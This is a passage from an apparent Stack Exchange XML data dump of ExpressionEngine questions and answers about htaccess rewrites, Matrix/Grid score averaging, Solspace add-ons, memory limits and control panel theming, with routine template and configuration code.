[R=301,L]&#xA;&#xA;#&#xA;# FORCE HTTPS&#xA;#&#xA;RewriteCond %{HTTPS} off&#xA;RewriteRule ^(.*)% https://%{SERVER_NAME}%{REQUEST_URI}&#xA;&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find anything wrong with this setup but EE keeps showing 404 on the reset_password link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2015-03-23T21:39:37.447" Title="Solspace User + Focuslab config member password reset link returns 404" Tags="|solspace|members|focus-lab-master-config|forgot-password|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30687" PostTypeId="1" AcceptedAnswerId="30688" CreationDate="2015-03-23T21:59:53.737" Score="0" ViewCount="31" Body="&lt;p&gt;I'm building a review channel and would like to know how to go about developing this.  Say for instance I'm reviewing an album and have the ratings breakdown into different categories with ratings like so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Album art ------- 9&lt;/li&gt;&#xA;&lt;li&gt;Lyrics ------------7&lt;/li&gt;&#xA;&lt;li&gt;Instrumentals --- 9&lt;/li&gt;&#xA;&lt;li&gt;Vocal range ---- 5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Album score ------- 7.5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ratings will be for the author to decide, not the public. This is what I'm envisioning in the EE backend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[+] Matrix/Grid row: &quot;[category dropdown column] and [score dropdown column]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm wondering how I would go about totaling up and averaging out the score to be displayed to the public? &lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2015-03-23T23:06:03.870" Title="Totaling up and averaging numeric Matrix/Grib fields" Tags="|matrix|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30688" PostTypeId="2" ParentId="30687" CreationDate="2015-03-23T22:55:19.953" Score="2" Body="&lt;p&gt;Matrix actually comes with this functionality, if you look at their &lt;a href=&quot;https://docs.pixelandtonic.com/matrix/templating/field.html#average-lowest-highest-and-sum&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;, there is a average function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;YOUR_CHANNEL&quot;}&#xA;    {YOUR_MATRIX_FIELD:average col=&quot;SCORE_COL&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Grid also has this function listed in their &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html#average&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;YOUR_CHANNEL&quot;}&#xA;    {YOUR_GRID_FIELD:average column=&quot;SCORE_COL&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastEditorUserId="1539" LastEditDate="2015-03-23T23:06:03.870" LastActivityDate="2015-03-23T23:06:03.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30689" PostTypeId="1" CreationDate="2015-03-23T23:07:38.807" Score="0" ViewCount="30" Body="&lt;p&gt;I'm trying to get SolSpace User to output a cvs formatted file, but I can't get it to leave in the line breaks, so it only produces one row with all the data in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm that User strips out the line breaks, and is there a way to get it not to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'ID,Status,Last name,First name,Email,Last Payment,Join Date&#xA;{exp:user:users orderby=&quot;total_entries&quot; sort=&quot;desc&quot; dynamic_parameters=&quot;no&quot; limit=&quot;500&quot; }{member_id}{if group_id == 10}Member Admin,{/if}{last_name},{first_name},{email},{payment},{join_date format=&quot;%m/%d/%y&quot;}&#xA;{/exp:user:users}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2016-06-02T12:30:22.130" Title="SolSpace User strips out line breaks?" Tags="|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30691" PostTypeId="2" ParentId="22193" CreationDate="2015-03-23T23:44:59.150" Score="0" Body="&lt;p&gt;I do this  with a bit of javascript. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$().ready(function() {&#xA;$(&quot;#username&quot;).focus(function() {&#xA;var firstname = $(&quot;#first_name&quot;).val();&#xA;var lastname = $(&quot;#last_name&quot;).val();&#xA;var letter = firstname.charAt(0).toLowerCase();&#xA;var lname = lastname.toLowerCase().replace(/\s/g, &quot;&quot;);&#xA;if(letter &amp;amp;&amp;amp; lastname &amp;amp;&amp;amp; !this.value) {&#xA;this.value = letter + lname;&#xA;}&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2015-03-23T23:44:59.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30692" PostTypeId="2" ParentId="30680" CreationDate="2015-03-24T01:07:57.520" Score="0" Body="&lt;p&gt;You could use the &lt;code&gt;var_prefix&lt;/code&gt; &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html&quot; rel=&quot;nofollow&quot;&gt;parameter&lt;/a&gt; which is designed to help you avoid naming conflicts with variables in your template. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;doctors&quot;}&#xA;&amp;lt;!-- &#xA;-- url_title = to parent url &#xA;-- and &#xA;-- loc:url_title = playa entry url_title&#xA;--&amp;gt;&#xA;  {exp:playa:children field=&quot;doctors_locations&quot; var_prefix=&quot;loc&quot;}&#xA;    &amp;lt;a href=&quot;#id-{loc:count}-{url_title}&quot; class=&quot;accordion-toggle&quot;&amp;gt; &#xA;     {loc:locations_displayed_name}&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;div id=&quot;id-{loc:count}-{url_title}&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;  {/exp:playa:children}&#xA;{/exp:channel:entries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to edit your template to prefix any of your playa children custom fields with &lt;code&gt;loc:&lt;/code&gt; for them to be parsed correctly.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-24T01:07:57.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30693" PostTypeId="1" AcceptedAnswerId="30915" CreationDate="2015-03-24T02:15:30.190" Score="0" ViewCount="67" Body="&lt;p&gt;I'm getting this odd message with Wyvern - it won't load the default editor, nor let me save new editor toolbar configurations. Everything else is working in EE, the system path is set correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JjTyA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-04-07T15:48:14.360" Title="Wyvern - says system folder path is incorrect" Tags="|wyvern|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30694" PostTypeId="1" CreationDate="2015-03-24T02:31:30.243" Score="1" ViewCount="134" Body="&lt;p&gt;memory_limit is 2048M (from 7GB)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I got error when indexed big amazon s3 folder&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted&#xA;  (tried to allocate 25415 bytes)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tried add &lt;code&gt;$config['assets_memory_limit'] = 1024;&lt;/code&gt; and &lt;code&gt;$config['memory_limit'] = 1024;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2, Assets 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see they already fixed this problem in version 2.3&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fixed an issue where Assets could run out of memory when browsing&#xA;large folders.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2579" LastActivityDate="2015-03-24T16:44:07.503" Title="Assets out of memory" Tags="|assets|php-errors|s3|amazons3|php.ini|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30695" PostTypeId="1" AcceptedAnswerId="32585" CreationDate="2015-03-24T09:34:09.107" Score="1" ViewCount="501" Body="&lt;p&gt;When setting up the database settings of a project I know that there is the default active group &quot;expressionengine&quot; found in the database.php file and you can add more than one group, I was just wondering if there is a way that I could load at most 2 database connections at the same time.&lt;/p&gt;&#xA;" OwnerUserId="3511" LastActivityDate="2015-08-10T06:48:21.427" Title="Is it possible to have multiple database connections for ExpressionEngine?" Tags="|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30696" PostTypeId="2" ParentId="28620" CreationDate="2015-03-24T12:11:35.027" Score="2" Body="&lt;p&gt;You aren't able to edit an iframe's content, true. But the iframe's itself still belongs to your page, and you can edit the attributes. I just tested and was able to do something similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;var i = $('div.item iframe');&#xA;// Did the selector work?&#xA;console.log(i.length);&#xA;i.removeAttr('width');&#xA;i.removeAttr('height');&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, using &lt;code&gt;!important&lt;/code&gt; in this situation is not bad. If you're worried about CSS maintenance, leave a comment that the &lt;code&gt;!important&lt;/code&gt; is overriding the element's attributes. &lt;code&gt;!important&lt;/code&gt; is often demonized, but in this case it is a valid use to increase the specificity of your CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of doing it in CSS is that it will apply before your JavaScript is loaded, so you won't get a split second of those attributes and styles applying before the JavaScript removes the styles.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2015-03-24T12:11:35.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30697" PostTypeId="2" ParentId="30670" CreationDate="2015-03-24T14:02:28.513" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;No, you cannot favorite a Grid field column. You can only favorite &lt;em&gt;channel entries&lt;/em&gt; or &lt;em&gt;members&lt;/em&gt; at this time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each favorited entries/members has a timestamp for when it was favorited, but there is no timestamp for the actual collection itself. However, if you're looking for the date when an entry/member was favorited &lt;em&gt;in a collection&lt;/em&gt;, that is possible to look for (using &lt;code&gt;{exp:favorites:info}&lt;/code&gt; or &lt;code&gt;{exp:favorites:entries}&lt;/code&gt;/&lt;code&gt;{exp:favorites:members}&lt;/code&gt;, for example)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;{exp:favorites:delete_all}&lt;/code&gt; tag might be useful in this case: &lt;a href=&quot;http://www.solspace.com/docs/favorites/delete_all/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/favorites/delete_all/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-24T14:02:28.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30698" PostTypeId="2" ParentId="30689" CreationDate="2015-03-24T14:29:17.300" Score="0" Body="&lt;p&gt;If this is outputted on a webpage, you need to add &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; at the end of the line to create a visual linebreak in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If looking at the output &lt;em&gt;source&lt;/em&gt;, however, your code indeed outputs in one line. After some testing, it seems to be because of the &lt;code&gt;{if group_id == 10}Member Admin,{/if}&lt;/code&gt; part in your code: remove that conditional, and newlines reappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be an issue with EE's parsing of conditionals, because the same phenomenon was observed with native EE tags. Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}{entry_id}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}{entry_id}{if entry_id == 123}test{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-24T14:29:17.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30699" PostTypeId="1" AcceptedAnswerId="30700" CreationDate="2015-03-24T14:47:33.040" Score="0" ViewCount="116" Body="&lt;p&gt;Never been in this situation before so just wanted to make sure i do it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing a new website (with EE), and currently a site/cms (non-EE) already exists on the server. What is the best way to set this up - meaning upload location/development site - so i can work on it without affecting the current site? Do I just create a folder in the root (named eg, new-site) and upload all EE files there, then go through the usual installation? Do i just change the two system_path references to .new-site/system/ or is none of that necessary? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i am working out pages/segments how would this work without causing any issues/ having to make coding changes after the site is live? (ie, example.com/new-site/template_folder.... )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it better to create a subdomain and base url's on that (ie newsite.example.com) rather than just a 'folder'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After everything is complete, do i just delete/remove the existing site form the root, then move all new site files out of the new-site folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Responses are appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2015-03-25T13:03:41.617" LastActivityDate="2015-03-25T13:03:41.617" Title="Installing EE when existing cms site exists" Tags="|subdomain|install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30700" PostTypeId="2" ParentId="30699" CreationDate="2015-03-24T15:23:41.853" Score="1" Body="&lt;p&gt;What we usually do is add a folder &lt;code&gt;ee/&lt;/code&gt; to the root and install everything there. The base url will then be &lt;code&gt;http://yoururl.com/ee/&lt;/code&gt; and ExpressionEngine will install everything accordingly and will ignore the subdirectory in segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you go live (switch to the root directory) you will have to update the urls in General Configuration as well as any urls that you entered such as File Uploads path, template path, etc. which is usually not that bad. Try to use relative directory paths when possible.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-24T15:23:41.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30701" PostTypeId="1" AcceptedAnswerId="30813" CreationDate="2015-03-24T16:01:22.210" Score="1" ViewCount="516" Body="&lt;p&gt;I don't know if this is a new thing or if it's been an issue all along, but the client just noticed and i recreated the issue myself. If I clear my browser cache and then visit my client's site at a URL like &lt;a href=&quot;http://www.example.com/product/product1&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/product/product1&lt;/a&gt; it will redirect to &lt;a href=&quot;http://www.example.com/index.php/product/product1&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/index.php/product/product1&lt;/a&gt;. The page looks fine. After refreshing or visiting that URL again the URL will pull up correctly at &lt;a href=&quot;http://www.example.com/product/product1&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/product/product1&lt;/a&gt;. If I clear my browser cache again it will redirect to the index.php url again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my .htaccess file, any ideas why this might be happening? Thanks for any ideas!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;RewriteCond $1 !(^index\.php|(\.(gif|jpe?g|png|css|js)))$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;Redirect 301 /helpdesk http://helpdesk.example.com&#xA;Redirect 301 /splash http://example.com&#xA;Redirect 301 /webmail http://mail.example.com:32000&#xA;Redirect 301 /email http://mail.example.com:32000&#xA;Redirect 301 /timeclock http://timeclock.example.com:62345&#xA;Redirect 301 /signature http://signature.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: I modified my .htaccess file to the recommended one from EllisLab and that seems to have fixed the index.php from showing up. Something is still a little wonky though. When I clear the browser cache and visit a url with a hash tag at the end (&lt;a href=&quot;http://www.example.com/product/product1#tab3&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/product/product1#tab3&lt;/a&gt;), the redirect removes the hash tag and the rest of the url after it. If I refresh the page it will work as expected. it only has issues with the first time visiting the url after a clean browser cache. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2015-03-24T16:15:29.070" LastActivityDate="2015-04-01T13:52:42.473" Title=".htaccess remove index.php sort of works, but not the first time after browser cache is cleared" Tags="|.htaccess|index.php|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30702" PostTypeId="2" ParentId="30694" CreationDate="2015-03-24T16:44:07.503" Score="3" Body="&lt;p&gt;Fixed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;code&gt;ini_set('memory_limit', '64M');&lt;/code&gt; in &lt;code&gt;/system/expressionengine/third_party/assets/sources/s3/source.s3.php&lt;/code&gt; and changed it to &lt;code&gt;1024M&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2579" LastActivityDate="2015-03-24T16:44:07.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30703" PostTypeId="2" ParentId="30667" CreationDate="2015-03-24T18:00:49.150" Score="0" Body="&lt;p&gt;DevDemon's &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/smart_switch&quot; rel=&quot;nofollow&quot;&gt;Smart Switch&lt;/a&gt; might help you with that.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-03-24T18:00:49.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30704" PostTypeId="1" AcceptedAnswerId="31024" CreationDate="2015-03-24T21:03:12.953" Score="2" ViewCount="105" Body="&lt;p&gt;My client is asking me to show a custom field in the Inventory report (see attached screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see I managed to add the field to the rendered table (InventoryReport.php) but I have little clue as to how I can query and pull the custom field's data (it's a simple text field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone tried doing this before? Or could you point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2vwca.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2015-04-16T16:43:56.910" Title="Modify inventory report" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30705" PostTypeId="1" AcceptedAnswerId="30816" CreationDate="2015-03-24T21:06:52.540" Score="1" ViewCount="76" Body="&lt;p&gt;If there are custom fields that are not used e.g., optional, in all entries, does this in any way affect performance? I am considering implementing a somewhat monolithic custom fieldset to be associated with various channels. &lt;/p&gt;&#xA;" OwnerUserId="3322" LastActivityDate="2015-03-31T21:49:37.100" Title="Do unused custom fields affect performance?" Tags="|custom-fields|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30706" PostTypeId="1" CreationDate="2015-03-24T22:23:41.783" Score="1" ViewCount="33" Body="&lt;p&gt;I can't seem to figure out how this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if free_shipping==&quot;True&quot;} this {if:else} that {/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if free_shipping} this {if:else} that {/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if free_shipping} this {/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None seem to work, whether I set free shipping on the product, or with a discount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*edit* And this is in a exp:store:product tag where everything else is working okay.&lt;/p&gt;&#xA;" OwnerUserId="6088" LastEditorUserId="6088" LastEditDate="2015-03-24T22:40:23.130" LastActivityDate="2015-03-27T20:47:01.197" Title="How does free_shipping conditional work?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30709" PostTypeId="1" CreationDate="2015-03-25T02:27:56.533" Score="0" ViewCount="73" Body="&lt;p&gt;This template works fine on PHP 5.3.x:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; conditionals=&quot;yes&quot;}&#xA;&#xA;{stash:st_content}&#xA;&#xA;  {exp:channel:entries&#xA;    channel=&quot;people&quot;&#xA;    url_title=&quot;{segment_3}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;categories|member_data|pagination|trackbacks&quot;&#xA;  }&#xA;    {exp:playa:parents&#xA;      channel=&quot;projects&quot;&#xA;      disable=&quot;member_data|pagination|trackbacks&quot;&#xA;    }&#xA;    …&#xA;    {/exp:playa:parents}&#xA;  {/exp:channel:entries}&#xA;&#xA;{/stash:st_content}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but after upgrading to PHP 5.4.x, each project instead outputs the name of the people entry and no other content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that Stash isn't actually to blame here because if I remove Stash tags I get the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My expected output at a URL like /project/by/persons-name/ would be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Project A&lt;/li&gt;&#xA;&lt;li&gt;Project B&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc. with only projects assigned to that person via the Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, what I'm getting is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Person's Name&lt;/li&gt;&#xA;&lt;li&gt;Person's Name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc. for every entry in the projects channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The updated template with Stash taken out looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;people&quot;&#xA;    url_title=&quot;{segment_3}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;categories|member_data|pagination|trackbacks&quot;&#xA;  }&#xA;    {exp:playa:parents&#xA;      channel=&quot;projects&quot;&#xA;      disable=&quot;member_data|pagination|trackbacks&quot;&#xA;    }&#xA;    …&#xA;    {/exp:playa:parents}&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastEditorUserId="116" LastEditDate="2015-03-25T13:11:14.520" LastActivityDate="2016-05-31T08:44:15.217" Title="Change in output for playa:parents inside Stash when going from PHP 5.3.x – 5.4.x" Tags="|playa|stash|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30710" PostTypeId="1" CreationDate="2015-03-25T06:31:13.167" Score="0" ViewCount="132" Body="&lt;p&gt;I tried login from front end and redirect it to adminpanel but it doesnot logged in  to it. This is the code i tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:member:login_form return=&quot;www.sample.com/admin.php?/cp/homepage&quot;}&#xA;  &lt;p&gt;&#xA;    Username&lt;br&gt;&#xA;    &#xA;  &lt;/p&gt;&#xA;  &lt;p&gt;&#xA;    Password&lt;br&gt;&#xA;    &#xA;  &lt;/p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:member:login_form}&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2015-03-25T13:40:26.497" Title="How to redirect from front end to expression engine Admin panel" Tags="|login|admin|admin.php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30711" PostTypeId="1" CreationDate="2015-03-25T06:38:28.677" Score="0" ViewCount="1171" Body="&lt;p&gt;I need to customize the Admin Control Panel in Expression Engine I don't know how to do it. If any one knows kindly tell me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated&lt;/strong&gt;&lt;br&gt;&#xA;Actually I want to show the channel data(any entries) in different UI inside EE2 Admin panel and I have my own module and I need to show that modules records also in EE2 Admin panel.&lt;/p&gt;&#xA;" OwnerUserId="6164" LastEditorUserId="22" LastEditDate="2015-03-27T13:42:35.900" LastActivityDate="2015-03-27T13:42:35.900" Title="How to edit Expression Admin panel" Tags="|ee2|control-panel|add-on-development|admin|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30714" PostTypeId="2" ParentId="30699" CreationDate="2015-03-25T09:30:36.227" Score="0" Body="&lt;p&gt;Also, it is recommended that you 'll use a separate (second) database so the databases won't merge and you keep your database clean!&lt;/p&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2015-03-25T09:30:36.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30715" PostTypeId="2" ParentId="30711" CreationDate="2015-03-25T10:43:24.253" Score="1" Body="&lt;p&gt;Your question is a little vague. But there are a couple of things you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For style changes EE-Garage's override.css would be a good starting point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-garage.com/override-css&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/override-css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also create your own by making a folder inside '/themes/cp_themes/'&#xA;So you'd have '/themes/cp_themes/&lt;strong&gt;yourcustomthemename&lt;/strong&gt;'&#xA;Inside this folder you make duplicates of the existing system files you want to make changes to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example if you wanted to make changes to:&#xA;'/themes/cp_themes/default/css/login.css'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you would make your own version inside your custom theme folder:&#xA;'/themes/cp_themes/&lt;strong&gt;yourcustomthemename&lt;/strong&gt;/css/login.css'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also change files within the '/system/expressionengine/views/' folder.&#xA;for example if you wanted to change:&#xA;'/system/expressionengine/views/_shared/footer.php' (the control panel footer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can make a folder in your own theme folder:&#xA;'/themes/cp_themes/&lt;strong&gt;yourcustomthemename&lt;/strong&gt;/_shared/footer.php'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need to make copies of the files you wish to change as expressionengine &#xA;will 'fall back' to the default where it can't find the file in your custom theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, most importantly, to get this to work you need to set your custom theme in the control panel:&#xA;Log in to the CP &gt; Admin &gt; General Configuration &gt; Default Control Panel Theme &gt; choose your theme from the dropdown box&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2015-03-25T10:43:24.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
